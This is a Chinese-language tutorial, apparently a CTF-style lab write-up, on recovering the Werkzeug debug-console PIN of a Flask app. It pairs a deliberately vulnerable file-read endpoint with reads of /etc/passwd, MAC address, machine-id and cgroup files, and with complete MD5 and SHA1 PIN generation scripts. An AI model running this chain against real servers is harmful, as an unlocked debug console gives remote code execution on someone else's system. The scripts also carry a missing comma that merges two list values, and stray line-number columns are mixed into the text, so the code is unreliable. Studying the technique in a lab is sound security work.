flaskPIN计算
# 环境问题
注意
注意:flask默认的最新版本Werkzeug
已经不允许非本地用户访问console
控制台了,需要使用Werkzeug3.0.3
版本以下复现,具体搭建参考上篇文章
写一个简单的flask应用,起一个docker服务
from flask import Flask,request
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'At /read,you can read what you want by url?filename='
@app.route('/read',methods=['GET','POST'])
def read_file():
filename = request.args.get('filename')
if filename:
with open(filename, 'r') as f:
data = f.read()
return data
if __name__ == '__main__':
app.run(debug=True,host='0.0.0.0',port='8080')
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
查看容器日志
└─$ docker logs 2886
flaskPIN{Cra2y4viv050}
* Serving Flask app "app" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: on
* Running on http://0.0.0.0:8080/ (Press CTRL+C to quit)
* Restarting with stat
* Debugger is active!
* Debugger PIN: 256-147-392
2
3
4
5
6
7
8
9
10
11
服务正常运行
控制台也可以正常访问
注意
Flask 的 PIN 码计算仅与 werkzeug 的 debug 模块有关。与 Python 版本无关,werkzeug 低版本使用 MD5,高版本使用 SHA1,现在绝大多数都是高版本的利用
# 利用
需要一些主机、容器的信息,才能使用脚本生成PIN码
# probably_public_bits
这里需要四个变量值
- username # 通过/etc/passwd这个文件去猜
- modname # getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
- appname # 通过getattr(app, 'name', app.class.name)获取,默认值为Flask
- moddir # flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得
2
3
4
在这里,我们一般只需要读取/etc/passwd
文件,确定username
,然后通过debug报错信息获得moddir
对于modname
和appname
,一般都是默认值flask.app
和Flask
关于注释后面的getattr()函数获取一些信息的内容,出题人可能会用到,每个容器都是随机生成的,简单的题目出题要给你PIN码时,会通过这个函数来计算,我们不需要关注
# private_bits
这里需要两个变量值
- uuid # 读取/sys/class/net/eth0/address
- machine-id # 多个配置文件内容拼接
2
对于uuid
:
uuid: 网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。 例:00:16:3e:03:8f:39 => 95529701177 也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
对于machine-id
:
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来
1. /etc/machine-id(一般仅非docker机有,截取全文)
2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
3. /proc/self/cgroup(一般仅docker有,**仅截取最后一个斜杠后面的内容**)
2
3
例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope
则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面 文件12按顺序读,12只要读到一个就可以了,1读到了,就不用读2了。 文件3如果存在的话就截取,不存在的话就不用管 最后machine-id=(文件1或文件2)+文件3(存在的话)
拿到这些值,往下计算PIN码
# 计算PIN码
- 低版本(werkzeug1.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:11:00:02'
address = int(address.replace(':', ''),16)
private_bits = [
f'{address}', # mac十进制值 /sys/class/net/eth0/address
'42b783da-44c9-495c-9c4c-eae7e021b389' # 看上面machine-id部分
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
- 高版本(werkzeug>=2.0.x)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.10/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:11:00:02'
address = int(address.replace(':', ''),16)
private_bits = [
f'{address}', # mac十进制值 /sys/class/net/eth0/address
'42b783da-44c9-495c-9c4c-eae7e021b389' # 看上面machine-id部分
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
整合一下,一次把两种都打印出来
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username,通过/etc/passwd
'flask.app', # modname,默认值
'Flask', # 默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py' # moddir,通过报错获得
]
# 填入获取的16进制即可,后面添加了转换功能
address = '02:42:ac:0c:e6:29'
address = int(address.replace(':', ''),16)
private_bits = [
f'{address}', # mac十进制值 /sys/class/net/eth0/address
'225374fa-04bc-4346-9f39-48fa82829ca9f7d925322c17f0fe70c4819db88c8d2c40f390ee263cf0efee036d792c47effd' # 看上面machine-id部分
]
# 下面为源码里面抄的,不需要修改
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
测试后,用第一个跑出来是正确的
参考: